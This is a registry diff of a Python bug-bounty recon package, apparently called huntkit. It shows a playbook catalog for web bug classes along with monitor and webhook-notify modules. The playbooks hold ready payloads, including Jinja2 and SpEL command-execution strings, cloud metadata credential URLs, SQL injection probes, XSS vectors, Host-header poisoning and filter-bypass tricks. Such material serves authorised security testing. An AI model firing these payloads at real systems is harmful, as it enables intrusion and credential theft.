huntkit 0.3.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (86) hide show
  1. huntkit/__init__.py +4 -0
  2. huntkit/__main__.py +8 -0
  3. huntkit/ai/__init__.py +42 -0
  4. huntkit/ai/advisor.py +133 -0
  5. huntkit/ai/providers.py +200 -0
  6. huntkit/app/__init__.py +13 -0
  7. huntkit/app/config_cmd.py +65 -0
  8. huntkit/app/context.py +50 -0
  9. huntkit/app/main.py +1166 -0
  10. huntkit/app/plugins_cmd.py +79 -0
  11. huntkit/app/workspace_cmd.py +62 -0
  12. huntkit/core/__init__.py +6 -0
  13. huntkit/core/cache.py +67 -0
  14. huntkit/core/config.py +272 -0
  15. huntkit/core/logger.py +66 -0
  16. huntkit/core/pacing.py +71 -0
  17. huntkit/core/runner.py +117 -0
  18. huntkit/core/state.py +154 -0
  19. huntkit/core/workspace.py +145 -0
  20. huntkit/enrich/__init__.py +39 -0
  21. huntkit/enrich/asn.py +139 -0
  22. huntkit/enrich/engine.py +167 -0
  23. huntkit/enrich/favicon.py +91 -0
  24. huntkit/enrich/mmh3.py +69 -0
  25. huntkit/fingerprint/__init__.py +26 -0
  26. huntkit/fingerprint/engine.py +83 -0
  27. huntkit/fingerprint/rules.py +170 -0
  28. huntkit/history/__init__.py +38 -0
  29. huntkit/history/diff.py +95 -0
  30. huntkit/history/store.py +133 -0
  31. huntkit/intel/__init__.py +48 -0
  32. huntkit/intel/engine.py +233 -0
  33. huntkit/intel/signals.py +826 -0
  34. huntkit/knowledge/__init__.py +27 -0
  35. huntkit/knowledge/playbooks.py +452 -0
  36. huntkit/monitor/__init__.py +24 -0
  37. huntkit/monitor/runner.py +111 -0
  38. huntkit/notify/__init__.py +16 -0
  39. huntkit/notify/webhook.py +73 -0
  40. huntkit/pipeline.py +302 -0
  41. huntkit/plugins/__init__.py +36 -0
  42. huntkit/plugins/amass.py +25 -0
  43. huntkit/plugins/arjun.py +18 -0
  44. huntkit/plugins/assetfinder.py +18 -0
  45. huntkit/plugins/base.py +220 -0
  46. huntkit/plugins/chaos.py +20 -0
  47. huntkit/plugins/dalfox.py +24 -0
  48. huntkit/plugins/dnsx.py +19 -0
  49. huntkit/plugins/ffuf.py +34 -0
  50. huntkit/plugins/findomain.py +18 -0
  51. huntkit/plugins/gau.py +18 -0
  52. huntkit/plugins/hakrawler.py +19 -0
  53. huntkit/plugins/httpx.py +30 -0
  54. huntkit/plugins/katana.py +23 -0
  55. huntkit/plugins/naabu.py +22 -0
  56. huntkit/plugins/nmap.py +39 -0
  57. huntkit/plugins/nuclei.py +27 -0
  58. huntkit/plugins/registry.py +117 -0
  59. huntkit/plugins/subfinder.py +21 -0
  60. huntkit/plugins/waybackurls.py +29 -0
  61. huntkit/plugins/whatweb.py +19 -0
  62. huntkit/py.typed +0 -0
  63. huntkit/report/__init__.py +103 -0
  64. huntkit/report/builder.py +145 -0
  65. huntkit/report/render.py +323 -0
  66. huntkit/scanner/__init__.py +28 -0
  67. huntkit/scanner/runner.py +239 -0
  68. huntkit/secrets/__init__.py +34 -0
  69. huntkit/secrets/patterns.py +172 -0
  70. huntkit/secrets/scanner.py +133 -0
  71. huntkit/shots/__init__.py +29 -0
  72. huntkit/shots/runner.py +186 -0
  73. huntkit/tui/__init__.py +13 -0
  74. huntkit/tui/dashboard.py +160 -0
  75. huntkit/utils/__init__.py +6 -0
  76. huntkit/utils/filesystem.py +109 -0
  77. huntkit/utils/process.py +104 -0
  78. huntkit/utils/severity.py +49 -0
  79. huntkit/utils/terminal.py +88 -0
  80. huntkit/utils/validators.py +99 -0
  81. huntkit-0.3.0.dist-info/METADATA +340 -0
  82. huntkit-0.3.0.dist-info/RECORD +86 -0
  83. huntkit-0.3.0.dist-info/WHEEL +5 -0
  84. huntkit-0.3.0.dist-info/entry_points.txt +2 -0
  85. huntkit-0.3.0.dist-info/licenses/LICENSE +21 -0
  86. huntkit-0.3.0.dist-info/top_level.txt +1 -0
@@ -0,0 +1,27 @@
1
+ """Knowledge base — rich, per-bug-class playbooks.
2
+
3
+ A feature layer (like ``intel`` and ``pipeline``): it builds on ``utils`` but
4
+ is independent of the plugin registry and the workspace, so it stays pure,
5
+ offline, and trivially testable. The intelligence engine references these
6
+ playbook ids, and ``huntkit playbook <id>`` renders their full content.
7
+ """
8
+
9
+ from __future__ import annotations
10
+
11
+ from .playbooks import (
12
+ PLAYBOOKS,
13
+ Playbook,
14
+ Reference,
15
+ all_playbooks,
16
+ get_playbook,
17
+ titles,
18
+ )
19
+
20
+ __all__ = [
21
+ "PLAYBOOKS",
22
+ "Playbook",
23
+ "Reference",
24
+ "all_playbooks",
25
+ "get_playbook",
26
+ "titles",
27
+ ]
@@ -0,0 +1,452 @@
1
+ """Bug-class knowledge base — the playbooks HuntKit's intelligence points at.
2
+
3
+ Each :class:`Playbook` is a battle-tested attack plan for one bug class: what
4
+ it is, when to reach for it, how to find it, payloads to probe with, common
5
+ filter/WAF bypasses, go-to tools, and references. The intelligence engine tags
6
+ hosts and attack paths with these same playbook ids, so ``huntkit analyze`` and
7
+ ``huntkit playbook <id>`` speak one vocabulary.
8
+
9
+ It is plain data: extend the knowledge base by adding a row to
10
+ :data:`PLAYBOOKS`, never by branching code — the same "add a row, not a branch"
11
+ ethos as the signal catalog and the plugin registry. Everything here is offline
12
+ guidance for authorised testing; nothing touches a target.
13
+ """
14
+
15
+ from __future__ import annotations
16
+
17
+ from dataclasses import dataclass
18
+
19
+ from ..utils.severity import Severity
20
+
21
+
22
+ @dataclass(frozen=True)
23
+ class Reference:
24
+ """An external write-up for a bug class."""
25
+
26
+ name: str
27
+ url: str
28
+
29
+ def to_dict(self) -> dict:
30
+ return {"name": self.name, "url": self.url}
31
+
32
+
33
+ @dataclass(frozen=True)
34
+ class Playbook:
35
+ """A full attack plan for one bug class."""
36
+
37
+ id: str
38
+ title: str
39
+ severity: Severity # typical top-end impact
40
+ summary: str # one line: what the bug is
41
+ when: str # when to reach for this playbook
42
+ detection: tuple[str, ...] = () # ordered how-to-find-it checklist
43
+ payloads: tuple[str, ...] = () # concrete probe strings
44
+ bypasses: tuple[str, ...] = () # filter / WAF bypass tricks
45
+ tools: tuple[str, ...] = () # go-to tools
46
+ references: tuple[Reference, ...] = ()
47
+
48
+ def to_dict(self) -> dict:
49
+ return {
50
+ "id": self.id,
51
+ "title": self.title,
52
+ "severity": self.severity.label,
53
+ "summary": self.summary,
54
+ "when": self.when,
55
+ "detection": list(self.detection),
56
+ "payloads": list(self.payloads),
57
+ "bypasses": list(self.bypasses),
58
+ "tools": list(self.tools),
59
+ "references": [r.to_dict() for r in self.references],
60
+ }
61
+
62
+ def to_markdown(self, level: int = 1) -> str:
63
+ """Render the playbook as a self-contained Markdown document.
64
+
65
+ ``level`` is the heading depth of the title (1 -> ``#``), so a report
66
+ can nest a playbook under its own section. Reused by the reporter
67
+ (phase 7) and by ``huntkit playbook <id> --md``.
68
+ """
69
+ h1 = "#" * level
70
+ h2 = "#" * (level + 1)
71
+ out: list[str] = [
72
+ f"{h1} {self.title}",
73
+ "",
74
+ f"**Severity:** {self.severity.label} &nbsp;·&nbsp; **id:** `{self.id}`",
75
+ "",
76
+ self.summary,
77
+ "",
78
+ f"**When:** {self.when}",
79
+ "",
80
+ ]
81
+
82
+ def bullets(head: str, items: tuple[str, ...]) -> None:
83
+ if not items:
84
+ return
85
+ out.append(f"{h2} {head}")
86
+ out.append("")
87
+ out.extend(f"- {item}" for item in items)
88
+ out.append("")
89
+
90
+ bullets("Detection", self.detection)
91
+ if self.payloads:
92
+ out += [f"{h2} Payloads", "", "```", *self.payloads, "```", ""]
93
+ bullets("Bypasses", self.bypasses)
94
+ if self.tools:
95
+ out += [f"{h2} Go-to tools", "", ", ".join(self.tools), ""]
96
+ if self.references:
97
+ out.append(f"{h2} References")
98
+ out.append("")
99
+ out.extend(f"- [{r.name}]({r.url})" for r in self.references)
100
+ out.append("")
101
+ return "\n".join(out).rstrip() + "\n"
102
+
103
+
104
+ # ---------------------------------------------------------------------------
105
+ # The catalog. Ids match the bug-class playbooks referenced by the intel layer.
106
+ # ---------------------------------------------------------------------------
107
+ PLAYBOOKS: dict[str, Playbook] = {
108
+ "idor": Playbook(
109
+ id="idor",
110
+ title="IDOR / Broken Object-Level Authorization",
111
+ severity=Severity.HIGH,
112
+ summary="An object reference (id, uuid, filename) the server trusts "
113
+ "without checking the caller actually owns that object.",
114
+ when="Any endpoint that takes an id/uuid/filename and returns or mutates object data.",
115
+ detection=(
116
+ "Map every request carrying an object id — numeric, uuid, hash, email, filename.",
117
+ "Create two accounts; replay account A's requests under A's session but B's ids.",
118
+ "Swap ids in path, query, body, JSON, and headers — not just the obvious one.",
119
+ "Decode wrapped ids: base64, hashids, ids inside a JWT or cookie, then increment.",
120
+ "Change the method (GET->POST/PUT/DELETE) on the same object id.",
121
+ "Harvest ids from list/search/export endpoints and error messages.",
122
+ "Test mass-assignment: add fields like role, owner_id, is_admin to the body.",
123
+ ),
124
+ payloads=(
125
+ "GET /api/orders/1001 -> GET /api/orders/1002",
126
+ "id=1002 (increment / decrement)",
127
+ "id=MTAwMg== (base64-wrapped id)",
128
+ "id=1001&id=1002 (parameter pollution — server may trust the 2nd)",
129
+ 'PATCH /api/users/me {"role":"admin","owner_id":1002} (mass assignment)',
130
+ ),
131
+ bypasses=(
132
+ "Wrap/encode the id the app expects: base64, hex, URL-encode, hashids.",
133
+ "Send the id in a second location the server trusts (header/body over query).",
134
+ "Switch content-type to JSON where the query-string check doesn't apply.",
135
+ ),
136
+ tools=("Burp Repeater", "Autorize", "arjun", "ffuf"),
137
+ references=(
138
+ Reference(
139
+ "PortSwigger — IDOR", "https://portswigger.net/web-security/access-control/idor"
140
+ ),
141
+ Reference(
142
+ "OWASP API1:2023 BOLA",
143
+ "https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/",
144
+ ),
145
+ ),
146
+ ),
147
+ "bac": Playbook(
148
+ id="bac",
149
+ title="Broken Access Control / Privilege Escalation",
150
+ severity=Severity.HIGH,
151
+ summary="Missing or client-side-only authorization lets a low-privilege "
152
+ "user reach admin functions or another tenant's data.",
153
+ when="Multi-role apps, admin panels, multi-tenant SaaS, versioned APIs.",
154
+ detection=(
155
+ "Enumerate role-gated routes as a low-priv user (/admin, /internal, /api/v*/admin).",
156
+ "Force-browse admin endpoints; check whether auth is enforced only in the UI.",
157
+ "Replay a privileged action with a lower-priv token (vertical escalation).",
158
+ "Cross-tenant: swap org/tenant id and try to reach another tenant's data.",
159
+ "Check GraphQL / websocket / legacy endpoints that skip the main API's authz.",
160
+ "Look for headers the server over-trusts (X-Original-URL, X-Forwarded-For, X-Role).",
161
+ ),
162
+ payloads=(
163
+ "GET /admin/dashboard (direct force-browse as low-priv user)",
164
+ "X-Original-URL: /admin (front-end path-based authz bypass)",
165
+ "X-Forwarded-For: 127.0.0.1 (spoof an internal/allow-listed source)",
166
+ "X-HTTP-Method-Override: PUT (smuggle a method the ACL doesn't gate)",
167
+ ),
168
+ bypasses=(
169
+ "Path tricks the proxy and app disagree on: /admin/..;/ , /Admin , /admin%2f , trailing dot.",
170
+ "Method the WAF/ACL forgot: HEAD, OPTIONS, or an override header.",
171
+ "Hit the same handler on an un-gated surface (mobile API, GraphQL, old /v1).",
172
+ ),
173
+ tools=("Burp Autorize", "ffuf", "nuclei"),
174
+ references=(
175
+ Reference(
176
+ "PortSwigger — Access control",
177
+ "https://portswigger.net/web-security/access-control",
178
+ ),
179
+ Reference(
180
+ "OWASP A01:2021 Broken Access Control",
181
+ "https://owasp.org/Top10/A01_2021-Broken_Access_Control/",
182
+ ),
183
+ ),
184
+ ),
185
+ "xss": Playbook(
186
+ id="xss",
187
+ title="Cross-Site Scripting",
188
+ severity=Severity.HIGH,
189
+ summary="User input rendered into an HTML/JS context without the right "
190
+ "encoding, letting an attacker run script in a victim's session.",
191
+ when="Any reflected, stored, or DOM-rendered user input.",
192
+ detection=(
193
+ "Grep gathered URLs for reflected params; fire a unique canary first, then payloads.",
194
+ "Pin the context: HTML body, attribute, JS string, URL, or a DOM sink.",
195
+ "For DOM XSS trace sources (location, postMessage) to sinks (innerHTML, eval, setAttribute).",
196
+ "Test stored surfaces: profile, comments, filenames, support tickets, admin views.",
197
+ "Read the CSP — a weak or missing policy raises the impact of any injection.",
198
+ ),
199
+ payloads=(
200
+ "<script>alert(document.domain)</script>",
201
+ '"><img src=x onerror=alert(1)>',
202
+ "<svg onload=alert(1)>",
203
+ "javascript:alert(1) (href / URL context)",
204
+ "'-alert(1)-' (breaks out of a JS string)",
205
+ "{{constructor.constructor('alert(1)')()}} (AngularJS sandbox escape)",
206
+ ),
207
+ bypasses=(
208
+ "Tags filtered -> event handlers: onmouseover, onfocus autofocus, ontoggle.",
209
+ "Keyword filters -> SVG/MathML vectors, mixed case, HTML-entity / unicode encoding.",
210
+ "innerHTML normalisation -> mutation XSS (mXSS) via <noscript>/<template>.",
211
+ "Space filtered -> /, %09, %0c, or slash separators: <svg/onload=...>.",
212
+ ),
213
+ tools=("dalfox", "Burp", "kxss / gxss"),
214
+ references=(
215
+ Reference(
216
+ "PortSwigger — XSS", "https://portswigger.net/web-security/cross-site-scripting"
217
+ ),
218
+ Reference(
219
+ "OWASP XSS Prevention Cheat Sheet",
220
+ "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html",
221
+ ),
222
+ ),
223
+ ),
224
+ "ssrf": Playbook(
225
+ id="ssrf",
226
+ title="Server-Side Request Forgery / Open Redirect",
227
+ severity=Severity.HIGH,
228
+ summary="The server fetches a URL you control, letting you reach internal "
229
+ "services, cloud metadata, or pivot through its trust.",
230
+ when="url / host / webhook / import / preview params, PDF & image renderers, integrations.",
231
+ detection=(
232
+ "Find sinks: url=, uri=, redirect=, next=, dest=, webhook, imageUrl, callback, import-from-url.",
233
+ "Point one at a Collaborator/interactsh host; watch for DNS + HTTP callbacks.",
234
+ "Once a hit lands, try cloud metadata endpoints for creds.",
235
+ "Test blind SSRF via timing and out-of-band, not only reflected responses.",
236
+ "For open redirect, confirm the Location header follows your host.",
237
+ ),
238
+ payloads=(
239
+ "http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS IMDSv1)",
240
+ "http://metadata.google.internal/computeMetadata/v1/ (GCP, header 'Metadata-Flavor: Google')",
241
+ "http://127.0.0.1/ · http://localhost/ · http://[::1]/",
242
+ "http://2130706433/ · http://0x7f000001/ · http://0177.0.0.1/ (127.0.0.1 encoded)",
243
+ "http://expected-host.com@evil.com/ (userinfo trick)",
244
+ ),
245
+ bypasses=(
246
+ "Alt IP encodings: decimal, octal, hex, mixed; 127.1; [::]; IPv4-mapped IPv6.",
247
+ "DNS rebinding, or a domain that resolves to an internal IP.",
248
+ "Redirect chains: allowed host 302s to 169.254.169.254.",
249
+ "Parser confusion: '@', '#', '\\', backslash, and whitespace in the authority.",
250
+ ),
251
+ tools=("interactsh / Burp Collaborator", "nuclei -tags ssrf", "ffuf"),
252
+ references=(
253
+ Reference("PortSwigger — SSRF", "https://portswigger.net/web-security/ssrf"),
254
+ Reference(
255
+ "OWASP SSRF Prevention Cheat Sheet",
256
+ "https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html",
257
+ ),
258
+ ),
259
+ ),
260
+ "sqli": Playbook(
261
+ id="sqli",
262
+ title="SQL / NoSQL Injection",
263
+ severity=Severity.CRITICAL,
264
+ summary="Unsanitised input reaches a database query, letting you read, "
265
+ "alter, or bypass authentication against the data store.",
266
+ when="Any parameter that reaches a data store: search, filters, sort, ids, JSON, headers.",
267
+ detection=(
268
+ "Baseline each param, then probe with ' \" ) and boolean/time payloads.",
269
+ "Watch for error-based, boolean-based (1=1 vs 1=2), and time-based differences.",
270
+ "Test JSON bodies and headers, not only query strings.",
271
+ "For NoSQL, try operator injection ([$ne], [$gt]) and JSON operator bodies.",
272
+ "Confirm carefully and stop at PoC — never dump or modify production data.",
273
+ ),
274
+ payloads=(
275
+ "' \" ) (syntax-break probes — look for errors)",
276
+ "' OR '1'='1 (classic boolean)",
277
+ "' AND 1=1-- vs ' AND 1=2-- (blind boolean diff)",
278
+ "' OR SLEEP(5)-- - (MySQL time-based)",
279
+ "'||pg_sleep(5)-- (PostgreSQL) ; '; WAITFOR DELAY '0:0:5'-- (MSSQL)",
280
+ "' UNION SELECT NULL,NULL-- - (column count / data extraction)",
281
+ '{"username":{"$ne":null},"password":{"$ne":null}} (NoSQL auth bypass)',
282
+ ),
283
+ bypasses=(
284
+ "Comment styles: -- - , #, /**/ ; use /**/ for stripped whitespace.",
285
+ "Case/keyword split against naive filters: UNI/**/ON, SeLeCt.",
286
+ "Encoding: URL, double-URL, hex literals, char() concatenation.",
287
+ ),
288
+ tools=("sqlmap (with --level/--risk tuned)", "Burp", "nuclei"),
289
+ references=(
290
+ Reference(
291
+ "PortSwigger — SQL injection", "https://portswigger.net/web-security/sql-injection"
292
+ ),
293
+ Reference(
294
+ "OWASP SQLi Prevention Cheat Sheet",
295
+ "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html",
296
+ ),
297
+ ),
298
+ ),
299
+ "ssti": Playbook(
300
+ id="ssti",
301
+ title="Server-Side Template Injection / LFI",
302
+ severity=Severity.CRITICAL,
303
+ summary="User input is rendered as a template expression, often escalating "
304
+ "from math evaluation to full remote code execution.",
305
+ when="Rendered templates: emails, invoices, name/preview fields, error pages, file params.",
306
+ detection=(
307
+ "Inject the polyglot {{7*7}} / ${7*7} / <%= 7*7 %> / #{7*7} and look for 49.",
308
+ "Fingerprint the engine by how it differs: {{7*'7'}} -> 7777777 (Jinja2) vs 49 (Twig).",
309
+ "For LFI/traversal on file params, try ../../../etc/passwd and wrappers.",
310
+ "Escalate from arithmetic to object access carefully to prove impact.",
311
+ "Stop at a controlled PoC (id / hostname) — never run destructive commands.",
312
+ ),
313
+ payloads=(
314
+ "{{7*7}} ${7*7} <%= 7*7 %> #{7*7} (detection — expect 49)",
315
+ "{{7*'7'}} (Jinja2 -> 7777777, Twig -> 49)",
316
+ "{{ cycler.__init__.__globals__.os.popen('id').read() }} (Jinja2 RCE)",
317
+ "${T(java.lang.Runtime).getRuntime().exec('id')} (Spring SpEL)",
318
+ "../../../../etc/passwd php://filter/convert.base64-encode/resource=index.php",
319
+ ),
320
+ bypasses=(
321
+ "Blocked braces -> attribute/global lookups, __globals__ / request chains.",
322
+ "Filtered keywords -> attribute-access via [] and concatenation.",
323
+ "Traversal filters -> encoded ../ (%2e%2e%2f, ....//), null byte on old stacks.",
324
+ ),
325
+ tools=("tplmap", "Burp", "nuclei -tags ssti,lfi"),
326
+ references=(
327
+ Reference(
328
+ "PortSwigger — SSTI",
329
+ "https://portswigger.net/web-security/server-side-template-injection",
330
+ ),
331
+ Reference(
332
+ "PayloadsAllTheThings — SSTI",
333
+ "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection",
334
+ ),
335
+ ),
336
+ ),
337
+ "subtakeover": Playbook(
338
+ id="subtakeover",
339
+ title="Subdomain Takeover",
340
+ severity=Severity.HIGH,
341
+ summary="A subdomain's DNS points at a deprovisioned cloud service you can "
342
+ "re-register, letting you serve content from that hostname.",
343
+ when="CNAMEs to S3/GitHub Pages/Heroku/Azure/Fastly/Shopify/etc. that no longer exist.",
344
+ detection=(
345
+ "Resolve every subdomain; flag CNAMEs to third-party cloud services.",
346
+ "Match the service's unclaimed-resource fingerprint in the HTTP response.",
347
+ "Confirm you can actually register/claim the resource before reporting.",
348
+ "Check dangling records after the CNAME too (NS delegation, MX).",
349
+ ),
350
+ payloads=(
351
+ "NoSuchBucket (AWS S3)",
352
+ "There isn't a GitHub Pages site here. (GitHub Pages)",
353
+ "Fastly error: unknown domain (Fastly)",
354
+ "The specified bucket does not exist (S3/GCS)",
355
+ "Sorry, this shop is currently unavailable. (Shopify)",
356
+ ),
357
+ bypasses=(),
358
+ tools=("nuclei -tags takeover", "subjack", "dnsx", "subzy"),
359
+ references=(
360
+ Reference(
361
+ "can-i-take-over-xyz (fingerprint list)",
362
+ "https://github.com/EdOverflow/can-i-take-over-xyz",
363
+ ),
364
+ Reference(
365
+ "PortSwigger — subdomain takeover (research)",
366
+ "https://portswigger.net/kb/issues/00600200_subdomain-takeover",
367
+ ),
368
+ ),
369
+ ),
370
+ "authn": Playbook(
371
+ id="authn",
372
+ title="Authentication / Session Flaws",
373
+ severity=Severity.HIGH,
374
+ summary="Weaknesses in how identity is proven or sessions are managed — "
375
+ "reset flows, JWTs, OAuth, MFA, rate limiting.",
376
+ when="Login, registration, password reset, MFA, OAuth/SSO, JWT handling.",
377
+ detection=(
378
+ "Password reset: token entropy, host-header poisoning, reuse, no expiry, user-bound?",
379
+ "JWT: alg:none, crack a weak HMAC secret, kid/jku/x5u injection, RS256->HS256 confusion.",
380
+ "OAuth: redirect_uri validation, state/CSRF, code/token leakage via Referer.",
381
+ "Rate limiting on login/OTP; account enumeration via timing or error diffs.",
382
+ "Session: fixation, no rotation after privilege change, over-long token lifetime.",
383
+ ),
384
+ payloads=(
385
+ 'JWT header {"alg":"none"} then drop the signature',
386
+ "Host: evil.com (poison a reset link built from the Host header)",
387
+ "X-Forwarded-Host: evil.com",
388
+ "redirect_uri=https://evil.com/cb or redirect_uri=https://app.com.evil.com",
389
+ ),
390
+ bypasses=(
391
+ "OTP/login rate-limit: rotate IP via X-Forwarded-For, or race parallel requests.",
392
+ "JWT: swap RS256->HS256 and sign with the public key as the HMAC secret.",
393
+ "Reset-token reuse across accounts, or leak it in the Referer to a 3rd-party.",
394
+ ),
395
+ tools=("Burp", "jwt_tool", "nuclei"),
396
+ references=(
397
+ Reference(
398
+ "PortSwigger — Authentication",
399
+ "https://portswigger.net/web-security/authentication",
400
+ ),
401
+ Reference("PortSwigger — JWT attacks", "https://portswigger.net/web-security/jwt"),
402
+ ),
403
+ ),
404
+ "cors": Playbook(
405
+ id="cors",
406
+ title="CORS Misconfiguration",
407
+ severity=Severity.MEDIUM,
408
+ summary="An over-permissive cross-origin policy lets an attacker's site read "
409
+ "authenticated responses from the target's API.",
410
+ when="APIs that return Access-Control-Allow-* headers, especially with credentials.",
411
+ detection=(
412
+ "Send Origin: https://evil.com and check if it is reflected in Access-Control-Allow-Origin.",
413
+ "Test Origin: null and whether it is trusted.",
414
+ "Probe sloppy origin regex: prefix, suffix, and embedded-domain variants.",
415
+ "Only report if Access-Control-Allow-Credentials: true AND sensitive data is reachable.",
416
+ ),
417
+ payloads=(
418
+ "Origin: https://evil.com (look for exact reflection in ACAO)",
419
+ "Origin: null (sandboxed iframe / redirect can send this)",
420
+ "Origin: https://target.com.evil.com (suffix-match bug)",
421
+ "Origin: https://evil-target.com (prefix / substring-match bug)",
422
+ ),
423
+ bypasses=(
424
+ 'Naive endsWith("target.com") -> attacker registers not-target.com or target.com.evil.com.',
425
+ 'Naive startsWith("https://target.com") -> https://target.com.evil.com.',
426
+ "Trusted null origin reachable from a sandboxed iframe or a data: redirect.",
427
+ ),
428
+ tools=("curl", "nuclei -tags cors", "Burp"),
429
+ references=(
430
+ Reference("PortSwigger — CORS", "https://portswigger.net/web-security/cors"),
431
+ Reference(
432
+ "OWASP — Testing Cross Origin Resource Sharing",
433
+ "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing",
434
+ ),
435
+ ),
436
+ ),
437
+ }
438
+
439
+
440
+ def get_playbook(playbook_id: str) -> Playbook | None:
441
+ """Look up a playbook by id, case-insensitively. None if unknown."""
442
+ return PLAYBOOKS.get(playbook_id.strip().lower())
443
+
444
+
445
+ def all_playbooks() -> list[Playbook]:
446
+ """Every playbook, in catalog order."""
447
+ return list(PLAYBOOKS.values())
448
+
449
+
450
+ def titles() -> dict[str, str]:
451
+ """id -> human title, the single source of truth for playbook names."""
452
+ return {pid: pb.title for pid, pb in PLAYBOOKS.items()}
@@ -0,0 +1,24 @@
1
+ """Monitor layer — continuous re-sweep with delta notification.
2
+
3
+ Bug bounty is the same scope re-run over time; the signal is the delta. This
4
+ layer runs one sweep (recon), snapshots the result set, diffs it against the
5
+ saved baseline, persists the new snapshot as the next baseline, and fires a
6
+ webhook when something new turns up. Recon and the webhook POST are injected,
7
+ so the orchestration is exercised offline.
8
+ """
9
+
10
+ from __future__ import annotations
11
+
12
+ from .runner import (
13
+ NOTIFY_CHANGES,
14
+ NOTIFY_FINDINGS,
15
+ MonitorResult,
16
+ run_monitor,
17
+ )
18
+
19
+ __all__ = [
20
+ "NOTIFY_CHANGES",
21
+ "NOTIFY_FINDINGS",
22
+ "MonitorResult",
23
+ "run_monitor",
24
+ ]
@@ -0,0 +1,111 @@
1
+ """Orchestrate one monitor sweep: recon -> snapshot -> diff -> notify."""
2
+
3
+ from __future__ import annotations
4
+
5
+ from collections.abc import Callable
6
+ from dataclasses import dataclass
7
+ from typing import Optional
8
+
9
+ from ..core.config import Config
10
+ from ..core.workspace import Workspace
11
+ from ..history import DiffReport, Snapshot, capture, diff_snapshots, latest, save
12
+ from ..notify import PostFn, notify
13
+ from ..pipeline import ReconSummary, run_recon
14
+
15
+ # Injected so a sweep can be driven offline in tests.
16
+ ReconFn = Callable[[], ReconSummary]
17
+ EventFn = Callable[[dict], None]
18
+
19
+ # What counts as "worth a ping".
20
+ NOTIFY_FINDINGS = "findings" # only new findings (default — the thing you re-run for)
21
+ NOTIFY_CHANGES = "changes" # any delta at all (new subs/live/urls too)
22
+
23
+
24
+ @dataclass
25
+ class MonitorResult:
26
+ program: str
27
+ summary: Optional[ReconSummary]
28
+ report: Optional[DiffReport] # None on the first run (no baseline yet)
29
+ snapshot: Snapshot
30
+ baseline_id: Optional[str]
31
+ notified: bool
32
+ first_run: bool
33
+
34
+ @property
35
+ def has_changes(self) -> bool:
36
+ return bool(self.report and self.report.has_changes)
37
+
38
+ @property
39
+ def new_findings(self) -> list[str]:
40
+ return self.report.new_findings if self.report else []
41
+
42
+
43
+ def _should_notify(report: DiffReport, notify_on: str) -> bool:
44
+ if notify_on == NOTIFY_CHANGES:
45
+ return report.has_changes
46
+ return bool(report.new_findings)
47
+
48
+
49
+ def run_monitor(
50
+ ws: Workspace,
51
+ config: Config,
52
+ domain: str,
53
+ *,
54
+ webhook: Optional[str] = None,
55
+ notify_on: str = NOTIFY_FINDINGS,
56
+ recon: Optional[ReconFn] = None,
57
+ post: Optional[PostFn] = None,
58
+ on_event: Optional[EventFn] = None,
59
+ ) -> MonitorResult:
60
+ """Run one sweep and report what changed since the last saved snapshot.
61
+
62
+ The first ever run has no baseline: it just captures a snapshot (the
63
+ baseline for next time) and never notifies. Later runs diff against that
64
+ baseline, save the fresh snapshot, and — if ``webhook`` is set and the
65
+ delta meets ``notify_on`` — push a summary to the webhook.
66
+ """
67
+ emit: EventFn = on_event or (lambda _e: None)
68
+
69
+ baseline = latest(ws)
70
+ emit(
71
+ {
72
+ "event": "monitor_start",
73
+ "program": ws.program,
74
+ "baseline": baseline.id if baseline else None,
75
+ }
76
+ )
77
+
78
+ do_recon: ReconFn = recon or (lambda: run_recon(ws, config, domain, on_event=on_event))
79
+ emit({"event": "recon_begin"})
80
+ summary = do_recon()
81
+
82
+ now = capture(ws)
83
+ save(ws, now)
84
+
85
+ report: Optional[DiffReport] = None
86
+ if baseline is not None:
87
+ report = diff_snapshots(baseline, now, ws.program)
88
+
89
+ notified = False
90
+ if report is not None and webhook and _should_notify(report, notify_on):
91
+ emit({"event": "notify", "webhook": webhook})
92
+ notified = notify(webhook, report, post=post)
93
+
94
+ result = MonitorResult(
95
+ program=ws.program,
96
+ summary=summary,
97
+ report=report,
98
+ snapshot=now,
99
+ baseline_id=baseline.id if baseline else None,
100
+ notified=notified,
101
+ first_run=baseline is None,
102
+ )
103
+ emit(
104
+ {
105
+ "event": "monitor_done",
106
+ "changes": result.has_changes,
107
+ "new_findings": len(result.new_findings),
108
+ "notified": notified,
109
+ }
110
+ )
111
+ return result
@@ -0,0 +1,16 @@
1
+ """Notify layer — push a re-sweep's delta to a chat webhook.
2
+
3
+ When a monitored program grows — a new subdomain, a freshly-live URL, above
4
+ all a *new finding* — HuntKit can ping a Slack or Discord incoming webhook so
5
+ you hear about it without watching a terminal. The POST is injectable, so the
6
+ orchestration is tested offline, and the URL is scheme-guarded to http(s).
7
+
8
+ Sending a diff to a webhook is egress of engagement data to a third party, so
9
+ it only ever happens for a webhook you pass explicitly.
10
+ """
11
+
12
+ from __future__ import annotations
13
+
14
+ from .webhook import PostFn, default_post, notify, summarise
15
+
16
+ __all__ = ["PostFn", "default_post", "notify", "summarise"]